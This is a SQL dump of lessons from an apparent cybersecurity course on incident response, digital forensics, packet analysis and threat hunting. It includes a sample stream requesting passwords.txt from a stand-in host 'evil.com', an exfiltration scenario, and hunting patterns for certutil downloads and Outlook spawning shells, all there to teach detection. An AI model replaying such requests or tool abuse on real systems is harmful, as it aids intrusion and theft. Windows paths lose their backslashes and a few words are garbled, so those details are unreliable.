(606, 274, '## Phase 2: Detection & Analysis - The Alarm\n\nThis is the phase where the \"Boom\" happens (or where we notice it).\n\n### Vectors of Detection\n*   **Users**: \"My computer is acting weird.\" \"I clicked a link and now I have a popup.\"\n*   **SIEM**: \"Correlation Rule: Malware Beacon detected.\"\n*   **Third Party**: \"FBI calls and says they found your data on the Dark Web.\" (The worst way to find out).\n\n### Triage (The ER Doctor)\nWhen an alert triggers, you must Triage.\n1.  **Validate**: Is it real? (False Positive check).\n2.  **Categorize**:\n    *   *Category*: Malware, Denial of Service, Unauthorized Access, Harassment.\n3.  **Prioritize**:\n    *   *Impact*: High/Med/Low.\n    *   *Urgency*: High/Med/Low.\n    *   *Scenario*:\n        *   Ransomware on CEO laptop -> **Critical**.\n        *   Adware on a Guest WiFi laptop -> **Low**.\n\n### Scoping\nOnce confirmed, you need to determine the **Blast Radius**.\n*   \"We found malware on Host A. Is it also on Host B? C? D?\"\n*   Check SIEM for similar traffic.\n*   Check File Hashes on entire fleet.\n*   **Golden Rule**: Assume you only developed 10% of the breach. Keep digging.\n\n### Analysis\n*   Forensics: Disk and Memory analysis.\n*   Malware Analysis: Reverse engineering samples found.\n*   Log Analysis: Tracing the attacker\'s lateral movement.\n\n### Documentation during Analysis\nEvery command you run, every file you touch, you must **Document**.\n*   \"10:05 AM: Reviewed firewall logs.\"\n*   \"10:10 AM: Isolated Host A.\"\n*   \"10:25 AM: Found sample in C:Temp.\"\nThis is crucial for legal reasons later.', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
(607, 275, '## Phase 3: Containment - Stop the Bleeding\n\nThe virus is inside. You have identified it. Now stop it from spreading.\n\n### Short-Term Containment\nImmediate action to stop damage.\n*   **Network Isolation**: Unplug the ethernet cable. Disable the switch port. Use EDR \"Network Isolate\" feature.\n*   **Shutdown**: Generally **BAD IDEA** because it destroys RAM (Memory evidence). Only shut down if the drive is actively being encrypted (Ransomware) and you can\'t stop it otherwise.\n*   **Firewall Block**: Block the C2 IP addresses at the perimeter.\n\n### Long-Term Containment\nFixing the temporary patches.\n*   Apply patches to the vulnerability.\n*   Change passwords for compromised accounts.\n*   Strengthen firewall rules.\n\n### Checkmate: The Attacker\'s Response\nBe careful. Attackers monitor your response.\n*   If you block their IP, they might get angry and deploy Ransomware immediately (The \"Scorched Earth\" policy).\n*   Sometimes, you might want to **Watch and Wait** (Sandboxing the attacker) to learn their TTPs before cutting them off. This requires high skill and confidence.\n\n### Evidence Preservation\nDuring containment, you must preserve evidence.\n*   **Chain of Custody**: A log of who held the hard drive, when, and where.\n*   Make forensic images of the disk *before* you wipe anything.\n*   Dump memory (RAM) before rebooting.', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
(608, 276, '## Phase 4: Eradication & Recovery - Clean Up\n\n### Eradication\nThe threat is contained. Now remove it.\n1.  **Re-imaging**: The old way was \"run Antivirus and hope it cleans it.\" The Modern way is **Nuke and Pave**.\n    *   Wipe the drive.\n    *   Re-install OS from a verified clean \"Golden Image\".\n2.  **Sanitization**:\n    *   Remove malicious emails from users\' inboxes.\n    *   Reset passwords (force global reset if Active Directory was compromised).\n3.  **Improve Defenses**:\n    *   The attacker got in via RDP? Disable RDP.\n    *   They used a vulnerability? Patch it.\n\n### Recovery\nBringing systems back online.\n1.  **Prioritization**: Restore business-critical systems first (ERP, Email) > secondary systems.\n2.  **Validation**: Before reconnecting to the internet, **monitor** the restored system. Is it beaconing again? (Attackers often hide \"persistence\" triggers).\n3.  **Data Restoration**: Restore data from clean backups.\n    *   *Risk*: What if the backup also contains the malware? You must scan backups before restoring.\n\n### The \"Screaming Test\"\nSometimes, you disable a compromised account and wait to see who screams (which service breaks). This helps identify hidden dependencies.', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
(609, 277, '## Phase 5: Post-Incident Activity - The Debrief\n\nThe dust has settled. The bad guys are gone. Time for the \"Hot Wash\" or \"Post-Mortem\".\n\n### The Report\nYou must produce a final Incident Report.\n*   **Executive Summary**: Non-technical. \"We were hacked. It cost $50k. It\'s over. Here is the risk.\"\n*   **Timeline**: detailed, second-by-second account.\n*   **Technical Findings**: How they got in (Root Cause), what they took.\n*   **Recommendations**: The \"To-Do\" list to fix the holes.\n\n### The Root Cause Analysis (RCA)\nUse the \"5 Whys\" technique.\n*   **Problem**: Server was hacked.\n    *   *Why?* Vulnerability in Apache was exploited.\n    *   *Why?* It wasn\'t patched.\n    *   *Why?* The patching script failed.\n    *   *Why?* The server disk was full, so the update failed.\n    *   *Why?* No one monitors disk space on Dev servers.\n*   **Root Cause**: Lack of monitoring on Dev servers.\n*   **Fix**: Implement monitoring on all servers.\n\n### Updating the Organization\n*   **Metrics**: Time to Detect (TTD), Time to Respond (TTR). Did we improve?\n*   **Playbook Updates**: \"Our Ransomware playbook didn\'t say who to call at the ISP. We wasted 1 hour finding the number. Update the playbook.\"\n*   **Evidence Retention**: How long do we keep the forensic images? (Usually years, for legal reasons).\n\n### Closing\nThe goal of this phase is not to blame (Finger Pointing), but to improve (System Strengthening). If you skip this, you WILL be hacked again by the same technique.', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 15:08:46'),
(610, 278, '## Module 27 Review\nYou have learned the NIST IR Cycle:\n1.  **Prep**: Be ready.\n2.  **Detect**: Find it.\n3.  **Contain**: Stop it. (Isolate).\n4.  **Eradicate/Recover**: Fix it.\n5.  **Post-Incident**: Learn from it.\n\nNext: Digital Forensics (The science of evidence preservation).', 'markdown', 15, '2025-12-26 23:03:48', '2025-12-29 14:19:16'),
(611, 281, '## What is Digital Forensics?\n\n**Digital Forensics** is the science of identifying, preserving, recovering, analyzing, and presenting facts about digital evidence. It is CSI for computers.\n\n### The Goal\nThe goal is not just \"Find the bad guy\". It is to answer the W-questions:\n*   **Who** did it? (Attribution).\n*   **What** did they do? (Actions).\n*   **When** did it happen? (Timeline).\n*   **How** did they get in? (Root Cause).\n\n### Forensic Soundness (Admissibility)\nIn a court of law, evidence must be **admissible**.\n*   If you boot up the suspect\'s laptop to look around, you have modified the evidence (timestamps changed, temporary files created). A defense lawyer will argue: \"The analyst tampered with the device. The malware could have been planted by the analyst.\"\n*   **Rule #1**: Never work on the original evidence. Always work on a forensic copy (Image).\n*   **Rule #2**: Verify integrity using Hashes.\n\n### Types of Forensics\n1.  **Disk Forensics**: Analyzing hard drives, USBs. (Finding deleted files).\n2.  **Memory Forensics**: Analyzing RAM. (Finding running malware, encryption keys, chat logs).\n3.  **Network Forensics**: Analyzing PCAPs and logs.\n4.  **Mobile Forensics**: iOS/Android analysis.\n\n### Locard\'s Exchange Principle\n\"Every contact leaves a trace.\"\nIn the physical world, a burglar leaves fingerprints and takes mud on their shoes.\nIn the digital world, a hacker leaves logs, registry keys, and cache files, and takes data. It is impossible to interact with a system without changing it.', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 15:09:09'),
(612, 282, '## Live vs. Dead Forensics & Order of Volatility\n\nWhen you approach a compromised machine, you have a choice: pull the plug or analyze it live?\n\n### Order of Volatility (RFC 3227)\nData disappears at different rates when power is lost. You must capture the most volatile data *first*.\n\n1.  **CPU Registers, Cache** (Nanoseconds). *Identical to impossible to capture usually.*\n2.  **System Memory (RAM)** (Seconds). *Contains keys, passwords, unsaved documents, running processes.*\n3.  **Network State** (Seconds). *Active connections to the hacker.*\n4.  **Running Processes** (Seconds).\n5.  **Disk (HDD/SSD)** (Years). *Files, Logs.*\n6.  **Remote Logs / Backups** (Years).\n7.  **Physical Configuration** (Forever).\n\n**Golden Rule**: If you pull the plug, **RAM is gone forever**. If the disk was encrypted (BitLocker) and the key was in RAM, you have locked yourself out permanently.\n\n### Dead Forensics (Post-Mortem)\n*   System is powered off.\n*   Hard drive is removed.\n*   Imaged using a Write Blocker.\n*   Analyzed in a lab.\n*   *Pros*: Safe, no risk of altering data.\n*   *Cons*: No RAM, no network state. Rootkits are inactive (harder to see).\n\n### Live Forensics\n*   System is running.\n*   You insert a USB with trusted tools (DumpIt, FTK Imager Lite).\n*   You dump RAM and run triage scripts.\n*   *Pros*: Captures encryption keys, active connections.\n*   *Cons*: **You alter the system**. Inserting a USB changes the registry. Running a tool consumes RAM. You must document *exactly* what you did to explain the changes in court.', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 15:09:09');
INSERT INTO `lesson_content` (`id`, `task_id`, `content`, `content_type`, `reading_time_minutes`, `created_at`, `updated_at`) VALUES
(613, 283, '## Evidence Handling & Chain of Custody\n\nIf you cannot prove who held the evidence, the evidence is worthless.\n\n### Chain of Custody (CoC)\nA legal document that tracks the life of a piece of evidence.\n*   **Fields**:\n    *   Item Description: \"Seagate 1TB HDD, Serial #XYZ\".\n    *   Date/Time: \"2023-10-27 14:00\".\n    *   Released By: \"John Doe (Analyst)\".\n    *   Received By: \"Jane Smith (Evidence Locker Manager)\".\n    *   Reason: \"Overnight Storage\".\n*   **Gap in Chain**: If the drive was logged out on Friday and logged back in on Monday, but nobody signed for it over the weekend, the Defense will say: \"Someone replaced the drive.\" Case dismissed.\n\n### Evidence Integrity (Hashing)\nHow do we prove the file hasn\'t changed in 5 years? **Hashing**.\n*   **MD5 / SHA1**: Old, broke. (Collisions possible).\n*   **SHA256**: The standard.\n*   **Procedure**:\n    1.  Acquire the drive image.\n    2.  Calculate SHA256 immediatey. (e.g., `A1B2...`).\n    3.  Record `A1B2...` in the CoC.\n    4.  Six months later in court, hash the drive again.\n    5.  It MUST match `A1B2...` exactly. If one bit changed, the hash changes completely.\n\n### The Evidence Locker\n*   Physical security.\n*   Restricted access (Badge in/out).\n*   Faraday Bags: Bags lined with metal mesh to block radio signals. Use these for Mobile Phones (so they don\'t receive a \"Remote Wipe\" command from the iCloud/Google).', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 15:09:09'),
(614, 284, '## Disk Imaging & Acquisition\n\nCopying a file (`Ctrl+C, Ctrl+V`) is NOT forensic acquisition. Copying only copies the *active* data. It ignores \"Slack Space\" and \"Deleted Files\".\n\n### Forensic Image\nA bit-by-bit clone of the drive. It copies every 0 and 1, including the empty space (where deleted files live).\n*   **Formats**:\n    *   **.dd (Raw)**: Pure dump.\n    *   **.E01 (EnCase)**: The industry standard. Includes compression, password protection, and metadata (Case number, Investigator Name) inside the file header.\n\n### Write Blockers\nA hardware device that sits between the suspect drive and your computer.\n*   **Function**: It physically cuts the \"Write\" wire. Data can flow *from* the suspect drive, but NOTHING can flow *to* it.\n*   **Mandatory**: If you attach a Windows drive to your PC without a blocker, Windows will automatically mount it, update \"Last Access\" timestamps, create \".Trash\" folders, and corrupt the evidence instantly.\n\n### Tools\n*   **FTK Imager**: Free, standard. can capture RAM and Disk.\n*   **Guymager (Linux)**: fast open source imager.\n*   **dd**: The classic Linux command. `dd if=/dev/sda of=/evidence/image.dd`.\n\n### Verification\nAfter imaging, the Imager will automatically hash the Source (Physical Drive) and the Destination (Image File). They must match.', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 15:09:09'),
(615, 285, '## File System Analysis: NTFS & Timestamps\n\nThe file system acts as the librarian of the drive.\n\n### NTFS (New Technology File System)\nThe standard Windows file system.\n*   **$MFT (Master File Table)**: The heart of NTFS. It is a hidden file that contains a record for *every* file on the drive.\n    *   It stores: File Name, Size, Permissions, Timestamps, and **Physical Location** on disk.\n*   **Resident Files**: If a file is very small (< 700 bytes), NTFS stores the content *directly inside the MFT record* to save space.\n*   **Deleted Files**:\n    *   When you delete a file, Windows does NOT erase the data.\n    *   It simply marks the MFT entry as \"Free\".\n    *   The data stays on the disk until a new file overwrites it. This is why forensics can recover deleted files.\n\n### Timestamps (MAC Times)\nEvery file has 4 timestamps (Standard MAC + Entry Modified).\n*   **M**odified: Content changed. (e.g., \"Save\" in Word).\n*   **A**ccessed: File read/opened. (Looking at a picture).\n*   **C**reated: File created on *this* volume. (Moving a file updates Created Date!).\n*   **B**orn (Entry Modified): The MFT record changed.\n\n### Time Stomping\nAttackers can use tools (like `touch` or `SetMace`) to modify timestamps to hide their tracks.\n*   *Detection*: Often they miss the \"nanosecond\" precision or the $FileName attribute (NTFS has two sets of timestamps: $Standard_Information and $FileName). If they mismatch, it\'s stomping.', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 15:09:09'),
(616, 286, '## Windows Artifacts: Where the Secrets Hides\n\nWindows is a messy roommate. It keeps records of *everything* you do to improve \"User Experience\". Forensics exploits this.\n\n### 1. Prefetch\n*   **Location**: `C:WindowsPrefetch`\n*   **Purpose**: Speed up app loading.\n*   **Artifact**: Shows **Name of Executable** run, **First/Last Run Time**, and **Run Count**.\n*   **Use**: \"Did the suspect run CCleaner? Yes, 5 times. Last time was 10 minutes before we arrived.\"\n\n### 2. ShimCache (AppCompatCache)\n*   **Location**: Registry (SYSTEM hive).\n*   **Purpose**: Compatibility settings for old apps.\n*   **Artifact**: Tracks executables present on the system, even if they were deleted.\n*   **Use**: Proving that `malware.exe` existed on the system in the past.\n\n### 3. Jump Lists & LNK Files\n*   **Location**: User Profile.\n*   **Purpose**: \"Recent Files\" in Taskbar/Start Menu.\n*   **Artifact**: Shows files accessed by the user.\n*   **Use**: \"The user opened `stolen_plans.pdf` from a USB drive `E:`.\"\n\n### 4. Registry Hives\n*   **SAM**: User accounts, password hashes.\n*   **SYSTEM**: System config, Timezone, USB history (**USBStor** - proves a specific USB serial number was plugged in).\n*   **SOFTWARE**: Installed programs, Versions.\n*   **NTUSER.DAT**: Per-user settings. \"Recent Docs\", Search History, Typed URLs in IE/Explorer.\n\n### 5. Amcache.hve\n*   **Use**: Stores SHA1 hashes of executed programs.\n*   **Golden**: You can map a file hash to a timestamp of execution.\n\n### 6. Shellbags\n*   **Location**: Registry (USRCLASS.DAT).\n*   **Use**: Tracks which **Founders/Directories** the user browsed in Explorer.\n*   **Power**: It persists even if the folder is deleted. You can construct a map of the user\'s file system knowledge.', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 15:09:09'),
(617, 287, '## Module 28 Review\nYou have scraped the surface of Digital Forensics:\n1.  **CoC**: Protect the evidence integrity.\n2.  **Imaging**: Use a Write Blocker.\n3.  **Artifacts**: Windows creates trails (Prefetch, Registry, LNK) for everything you do.\n\nNext: Network Traffic Analysis (Packet Inspection).', 'markdown', 15, '2025-12-26 23:05:09', '2025-12-29 14:19:16'),
(618, 291, '## Why Analyze Network Traffic?\n\nNetwork Traffic Analysis (NTA) is looking at the wire. \"The Packet Never Lies.\" Logs can be deleted; Endpoints can be rootkitted to hide processes; but if data was sent, the packets existed.\n\n### The Scope\n*   **North/South**: Traffic entering/leaving your network (Internet). Found at the Firewall/Gateway.\n*   **East/West**: Traffic moving between internal servers. Found at Core Switches (Internal Taps).\n\n### The Challenge: Encryption\n90% of web traffic is HTTPS (TLS encrypted).\n*   **Problem**: We can\'t see the payload. We don\'t know if the user downloaded a cat picture or malware.\n*   **Solution 1**: **SSL Inspection (Decryption)**. A proxy intercepts traffic, decrypts it, inspects it, re-encrypts it. Expensive and raises privacy/legal issues (Banking/Healthcare).\n*   **Solution 2**: **Traffic Metadata Analysis**. (JA3).\n    *   Even encrypted info has fingerprints.\n    *   The \"Client Hello\" packet in TLS sends specific cipher suites.\n    *   A standard Chrome Browser sends one set.\n    *   The \"Metasploit\" hacking tool sends a different set.\n    *   JA3 creates a hash of this handshake to identify the *application* even if the *content* is encrypted.\n\n### Use Cases\n*   Detecting C2 Beaconing.\n*   Finding Data Exfiltration (Large uploads).\n*   Spotting scanning activity.', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 15:09:09'),
(619, 292, '## Packet Capture (PCAP) Fundamentals\n\nA PCAP file contains the raw data captured from the network card.\n\n### The TCP 3-Way Handshake\nTo understand traffic, you must understand TCP.\n1.  **SYN**: \"Hi, I want to connect.\" (Client -> Server)\n2.  **SYN-ACK**: \"Okay, I see you. I\'m ready.\" (Server -> Client)\n3.  **ACK**: \"Great, let\'s go.\" (Client -> Server)\n\n**Analyst Check**:\n*   If you see lots of SYNs but no SYN-ACKs? -> **SYN Flood (DoS)** or **Port Scan** (host is down).\n*   If you see SYN, SYN-ACK, RST? -> Connection rejected.\n\n### TCP Flags (The Signal Flags)\n*   **SYN**: Synchronize. Start.\n*   **ACK**: Acknowledge. Confirm.\n*   **FIN**: Finish. Graceful exit. (\"I\'m done, goodbye\").\n*   **RST**: Reset. Abort. (\"Get lost\" or \"I crashed\").\n*   **PSH**: Push. Send data now.\n\n### Protocol Hierarchy\n1.  **Ethernet**: MAC Addresses. (Local Network).\n2.  **IP**: IP Addresses. (Internet).\n3.  **TCP/UDP**: Ports. (Application Service).\n4.  **Application**: HTTP, DNS, SMB. (The Data).\n\nWhen analyzing, work up the stack. First check IP (Who?), then Port (What Service?), then App (What Content?).', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 15:09:09'),
(620, 293, '## Wireshark Essentials\n\nWireshark is the microscope for packets.\n\n### 1. Capture Filters vs. Display Filters\n*   **Capture Filters (BPF)**: Set *before* you record. Discards packets.\n    *   `host 192.168.1.1` -> Only save packets involving this IP.\n    *   **Pro**: saves disk space. **Con**: If you didn\'t capture it, you can\'t see it later.\n*   **Display Filters**: Set *after* recording. Just hides packets from view.\n    *   `ip.addr == 192.168.1.1`\n    *   **Pro**: Flexible. Non-destructive.\n\n### 2. Essential Display Filters\n*   `http.request.method == \"POST\"`: Show me data uploads.\n*   `tls.handshake.type == 1`: Show me HTTPS Client Hellos (domain names).\n*   `dns.flags.response == 0`: Show me DNS queries.\n*   `tcp.flags.syn == 1 and tcp.flags.ack == 0`: Show me connection attempts.\n\n### 3. Follow TCP Stream\nRight-click a packet -> \"Follow TCP Stream\".\n*   Wireshark reassembles the conversation.\n*   Instead of seeing 50 packets, you see the reconstructed text:\n    *   `GET /passwords.txt HTTP/1.1`\n    *   `Host: evil.com`\n    *   `...`\n\n### 4. Export Objects\nFile -> Export Objects -> HTTP.\n*   Wireshark can extract files downloaded in the traffic.\n*   \"Oh, the user downloaded `virus.exe`? I can save that file from the PCAP to my desktop and hash it.\"', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 15:09:09'),
(621, 294, '## Analyzing HTTP Traffic\n\nHTTP is the language of the web (and most malware).\n\n### The Request\n*   **Method**:\n    *   GET: Retrieve data.\n    *   POST: Send data (Logins, Uploads). **Focus on POSTs**.\n*   **User-Agent**: Who is asking?\n    *   `Mozilla/5.0... Chrome/90...`: Normal Browser.\n    *   `Python-urllib/3.0`: Python Script. (Suspicious on a user laptop).\n    *   `Struts-Shock`: Exploit tool.\n*   **Host**: The domain.\n*   **Referer**: Where did you come from? (Did you click a link on Google, or a link on a Phishing site?)\n\n### The Response\n*   **Status Codes**:\n    *   `200 OK`: Success.\n    *   `301/302`: Redirect.\n    *   `401/403`: Unauthorized. (Brute Force?)\n    *   `404`: Not Found. (Scanning?)\n    *   `500`: Server Error. (Exploit crashed the server?)\n\n### Analysis Scenario\n1.  **Alert**: \"Suspicious User-Agent\".\n2.  **Packet**: `POST /upload.php` from IP 10.10.10.5. User-Agent: `DarkSides/1.0`.\n3.  **Stream**: The content of the POST is a large blob of encrypted data.\n4.  **Verdict**: C2 Exfiltration.', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 15:09:09'),
(622, 295, '## Detecting Malicious Traffic\n\nWhat does \"Bad\" look like on the wire?\n\n### 1. Beaconing (Heartbeats)\n*   **Regularity**: Every 60 seconds (Delta Time).\n*   **Small Size**: Packets are identical in size.\n*   **Jitter**: Sophisticated beacons add randomization (60s, 62s, 58s).\n\n### 2. Data Exfiltration\n*   **Large Outbound**: Internal IP sending GBs to External IP.\n*   **Protocol Misuse**:\n    *   **DNS Tunneling**: Huge volume of DNS queries to the same domain.\n    *   **ICMP Tunneling**: Ping packets containing data payloads instead of \"abcdefg\".\n*   **Steganography**: Hiding data inside images. (Hard to detect on wire without payload analysis).\n\n### 3. Scanning\n*   **Port Scan**: One IP sending SYNs to 1000 ports on one target.\n*   **Net Scan**: One IP sending SYNs to Port 445 on 1000 targets.\n\n### 4. Cleartext Credential Leaks\n*   **FTP / Telnet / HTTP (Basic Auth)**: Passwords sent in clear text.\n*   **Analyst**: \"Follow Stream\". Search for \"Password\" or \"Pass\".', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 15:09:09'),
(623, 296, '## Zeek (formerly Bro)\n\nWireshark is great for 1 packet. Zeek is great for 1 million packets.\n\n### What is Zeek?\nIt acts like a NIDS, but instead of \"Alerting\", it generate **Transaction Logs**.\nIt summarizes traffic into readable Tab-Separated Values (TSV) logs.\n\n### Key Logs\n*   **conn.log**: All TCP/UDP connections. (Source, Dest, Duration, Bytes).\n*   **http.log**: All HTTP requests (URI, User-Agent, Referrer).\n*   **dns.log**: All DNS queries.\n*   **ssl.log**: SSL certificates seen.\n\n### Why use it?\nNTA with Zeek is faster.\n*   **Question**: \"Did anyone visit `evil.com`?\"\n*   *Wireshark*: Open 50GB pcap, wait 10 minutes to load, filter `dns contains evil`.\n*   *Zeek*: `grep \"evil.com\" dns.log`. (Instant).', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 14:20:29'),
(624, 297, '## Module 29 Review\nNTA gives you the ground truth.\n*   **Wireshark** for deep inspection of a single stream.\n*   **Zeek** for high-level logging of all traffic.\n*   **HTTPS** hides content, but metadata (JA3, certificates, size) still reveals a lot.\n\nNext: Proactive defense with Threat Hunting.', 'markdown', 15, '2025-12-26 23:06:44', '2025-12-29 14:20:29'),
(625, 301, '## What is Threat Hunting?\n\n**Threat Hunting** is the proactive search for cyber threats that are lurking undetected in a network.\n\n### The Problem with Passive Defense\nTraditional security (SIEM, EDR, IDS) is **Reactive**.\n*   It waits for an alarm to go off.\n*   \"If Signature X matches, Send Alert.\"\n*   **The Flaw**: Sophisticated attackers (APTs) use custom tools and \"Living off the Land\" techniques (PowerShell, WMI) that do NOT trigger signatures. They can dwell in a network for **months** (Average Dwell Time is ~200 days).\n\n### The Hunter\'s Mindset\nThreat Hunting is **Proactive**.\n*   **Analogy**:\n    *   **Reactive**: Waiting for your burglar alarm to ring.\n    *   **Proactive**: Walking around your house with a baseball bat, checking under the beds, even though the alarm didn\'t ring.\n*   **Assumption**: \"We are already compromised. I just haven\'t found it yet.\"\n\n### Who hunts?\n*   It requires a human analyst. AI cannot hunt (yet) because hunting requires **Creativity** and **Intuition**.\n*   \"That admin logged in at 2 AM. It\'s not an alert because he *is* an admin. But I know he\'s on vacation in Hawaii. That\'s suspicious.\"\n\n### The Three Pillars of Hunting\n1.  **Triggers**: What starts a hunt? (Intel, Hypothesis).\n2.  **Data**: You can\'t hunt what you can\'t see. (Logs).\n3.  **Tools**: SIEM, EDR, Jupyter Notebooks.', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 15:11:15'),
(626, 302, '## Hunting vs. Detection: What\'s the difference?\n\nIt is easy to confuse Incident Response, Detection Engineering, and Threat Hunting.\n\n### 1. Detection Engineering (The Ref)\n*   **Goal**: Automate the known.\n*   **Process**: \"I know Emotet uses this registry key. I will write a SIEM rule for it.\"\n*   **Output**: An Alert (Signature).\n\n### 2. Incident Response (The Firefighter)\n*   **Goal**: Put out the fire.\n*   **Process**: \"The SIEM alerted on Emotet! Delete it! Isolate the host!\"\n*   **Output**: A clean machine.\n\n### 3. Threat Hunting (The Detective)\n*   **Goal**: Find the unknown.\n*   **Process**: \"I wonder if anyone is using PowerShell to download files? There is no rule for it because admins do it too. I will filter the logs and look for anomalies.\"\n*   **Output**:\n    1.  **Nothing** (The network is clean).\n    2.  **An Incident** (I found a hacker! -> Hand off to IR team).\n    3.  **A New Rule** (I found a simplified way to detect this. -> Hand off to Detection Engineers).\n\n### The Cycle\nHunting feeds Detection.\n1.  Hunter finds a new attack pattern manually.\n2.  Hunter explains it to Detection Engineer.\n3.  Engineer writes a rule.\n4.  Now the SIEM detects it automatically.\n5.  Hunter moves on to the next unknown threat.\n\n**Hunting is not just \"looking at logs randomly\".** That is called \"log staring\" and it is useless. Hunting must be structured.', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 15:11:15'),
(627, 303, '## The Hunting Loop\n\nTo avoid \"Rabbit Holes\" (wasting 8 hours looking at nothing), hunters follow a loop.\n\n### 1. Hypothesis Generation\n*   Start with a question.\n*   \"If an attacker were inside, how would they move laterally?\"\n*   *Hypothesis*: \"Attackers might be using Windows Admin Shares (C$) to move between PCs.\"\n\n### 2. Data Collection & Processing\n*   \"Do I have logs for this? Yes, Windows Event 5140 (Share Access).\"\n*   \"Is it parsed in Splunk? Yes.\"\n\n### 3. Trigger / Investigation\n*   Run the query.\n*   \"Show me all SMB access to C$ shares.\"\n*   Result: 10,000 events. (Too many).\n*   **Filter**: \"Exclude the Backup Service Admin account.\" -> 500 events.\n*   **Filter**: \"Exclude the Domain Controllers.\" -> 50 events.\n*   **Investigate**: Look at the remaining 50. Are they normal admins?\n\n### 4. Discovery\n*   \"Wait, why is the \'Receptionist\' account accessing the CEO\'s laptop C$ share?\"\n*   **Verdict**: Malicious.\n\n### 5. Enrichment & Automation\n*   \"That was a good catch. Let\'s automate it.\"\n*   Create a rule: \"Alert if Non-IT-Admin accesses C$ share.\"\n\n### Models\n*   **The OODA Loop**: Observe, Orient, Decide, Act.\n*   **Sqrrl’s Hunting Loop**: Create Hypothesis -> Investigate -> Uncover Patterns -> Enrich Analytics.', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 15:11:15'),
(628, 304, '## Hypothesis-Driven Hunting\n\nThe most common and effective type of hunting. A hypothesis must be **testable**.\n\n### Good Hypothesis Examples\n*   **Intel-Driven**: \"FireEye published a report saying APT29 uses `certutil.exe` to download malware. *Hypothesis: APT29 is doing that in our network.*\"\n*   **Situational**: \"We just fired a Sysadmin. *Hypothesis: He might have left a backdoor account.*\"\n*   **Domain-Based**: \"We have a lot of PowerShell usage. *Hypothesis: Attackers are using PowerShell Empire C2 agents hiding in plain sight.*\"\n\n### How to build a Hypothesis\nUse the **MITRE ATT&CK Framework**.\n1.  Pick a Tactic (e.g., Persistence).\n2.  Pick a Technique (e.g., Scheduled Tasks).\n3.  Form Hypothesis: \"Attackers are maintaining persistence by creating Scheduled Tasks with random names.\"\n\n### The \"Null\" Hypothesis\nIn science, you try to disprove the Null Hypothesis (\"There is no attacker\").\n*   You are trying to find evidence that rejects the idea that your network is clean.\n\n### Scenario\n*   **News**: A new zero-day in Outlook allows RCE via preview pane.\n*   **Hypothesis**: \"An attacker has exploited this zero-day against our Executives.\"\n*   **Search**: Look for `outlook.exe` spawning child processes like `cmd.exe` or `powershell.exe`.\n*   **Outcome**: Zero results.\n*   **Conclusion**: \"We are likely clean from this specific threat *at this moment*.\" (Record this search so you don\'t repeat it tomorrow).', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 15:11:15'),
(629, 305, '## Data Sources for Hunting\n\nYou generally need three types of data to hunt effectively.\n\n### 1. Process Execution (Endpoint is King)\n*   **What**: Windows Event 4688 / Sysmon Event 1 / EDR Data.\n*   **Why**: Shows exactly what ran.\n*   **Hunt**:\n    *   \"Show me processes running from `Temp` or `Downloads` folders.\"\n    *   \"Show me `svchost.exe` without a parent of `services.exe`.\"\n\n### 2. Network Connections ( The Wire)\n*   **What**: Firewall logs, Proxy logs, DNS logs.\n*   **Why**: Shows C2 and Exfiltration.\n*   **Hunt**:\n    *   \"Show me long connections (> 4 hours).\"\n    *   \"Show me connections to countries where we have no business.\"\n    *   \"Show me user laptops connecting directly to other user laptops (Peer-to-Peer lateral movement).\"\n\n### 3. Authentication Logs (Identity)\n*   **What**: Windows 4624/4625, VPN logs, Azure AD Sign-ins.\n*   **Why**: Shows stolen credentials.\n*   **Hunt**:\n    *   \"Show me a user logging in from 2 different cities in 1 hour.\"\n    *   \"Show me a Service Account logging in interactively (Service accounts should be batch/service types, not humans typing passwords).\"\n\n### Quality vs. Quantity\nMore logs is not always better.\n*   **Retention**: Hunting requires history. If you only keep 7 days of logs, you can\'t find an attacker who got in last month.\n*   **Granularity**: Firewall logs showing \"Block\" are useless for hunting. You need the \"Allow\" logs to find the successful attacker.', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 15:11:15'),
(630, 306, '## Hunting Techniques\n\n### 1. Stacking (Frequency Analysis)\nThe art of counting. \"Least Frequency of Occurrence\".\n*   **Concept**: Bad things are rare. Good things are common.\n*   **Method**:\n    *   Get all User-Agent strings from Proxy logs (1 million logs).\n    *   Group by User-Agent name.\n    *   Count them.\n    *   **Sort Ascending (Bottom Up)**.\n*   **Start**:\n    *   `Mozilla/5.0...` (Count: 900,000) -> Legit.\n    *   `curl/7.0` (Count: 50,000) -> Devs using curl.\n    *   `Python-urllib` (Count: 5) -> **INVESTIGATE**. Why 5? Who is running Python scripts connecting to the web?\n\n### 2. Clustering\nGrouping similar objects.\n*   You have 1000 processes named `svchost.exe`.\n*   Group them by \"Parent Process\", \"Command Line Arguments\", and \"User\".\n*   Cluster A: 990 run by SYSTEM, parent services.exe. (Normal).\n*   Cluster B: 10 run by \"Bob\", parent explorer.exe. (Anomalous).\n\n### 3. Baseline Comparison\n*   \"What is normal for Monday?\"\n*   Compare this Monday\'s traffic volume to the average of the last 10 Mondays.\n*   If volume is +500%, investigate.\n\n### 4. Grouping (Long Tail Analysis)\nSimilar to stacking but looking for *unique* values in high-volume datasets.\n*   Example: Hunt for rare file extensions executed.\n    *   `.exe`, `.dll` (Normal).\n    *   `.scr`, `.pif`, `.hta` (Rare and often malicious).\n    *   If you see `invoice.scr`, it is almost certainly malware.', 'markdown', 15, '2025-12-26 23:08:10', '2025-12-29 15:11:15'),
